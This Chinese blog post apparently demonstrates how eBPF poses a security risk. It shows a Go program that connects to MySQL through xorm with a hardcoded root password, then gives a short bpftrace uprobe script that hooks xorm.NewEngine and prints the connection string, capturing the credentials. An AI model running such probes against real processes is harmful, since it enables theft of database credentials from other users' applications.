设为首页 加入收藏

TOP

用bpftrace窃取Mysql账号密码
2023-07-23 13:39:42 】 浏览:23
Tags:bpftrace 窃取 Mysql

前言

记得在360实习的时候,听到过一句话,大部分的安全问题并不是黑客造成的,而是内部人员。
epbf可以避免代码侵入,像桩子一样监控应用,同时也带来了一些安全问题。

下面简单演示一下如何利用bpftrace窃取Mysql的账号密码。

步骤

Go程序

  • 这个程序只是利用xorm连接数据库,然后判断student这张表是否存在,
package main

import (
    "fmt"
    _ "github.com/go-sql-driver/mysql"
    "log"
    "xorm.io/xorm"
)
func main() {
    db, err := xorm.NewEngine("mysql", "root:123456@tcp(127.0.0.1:3306)/testdb?charset=utf8&parseTime=True&loc=Asia%2FShanghai")
    if err != nil {
        log.Fatalln("fail to connect mysql", err)
    }
    fmt.Println(db.IsTableExist("student"))
    db.Close()
}

bpftrace程序

#! /bin/bpftrace
uprobe:./main:"xorm.io/xorm.NewEngine"
{
    printf("参数: %s\n", str(reg("cx"),reg("di")));
}

运行结果

image

so,只要你有root权限,就有可能将各种敏感信息拿到手。
目前Linux内核和ebpf的应用在国内还没有铺开,相信未来会成为安全的挑战之一。

】【打印繁体】【投稿】【收藏】 【推荐】【举报】【评论】 【关闭】 【返回顶部
上一篇Shell脚本练习 下一篇Linux常用的20个命令(上)

最新文章

热门文章

Hot 文章

Python

C 语言

C++基础

大数据基础

linux编程基础

C/C++面试题目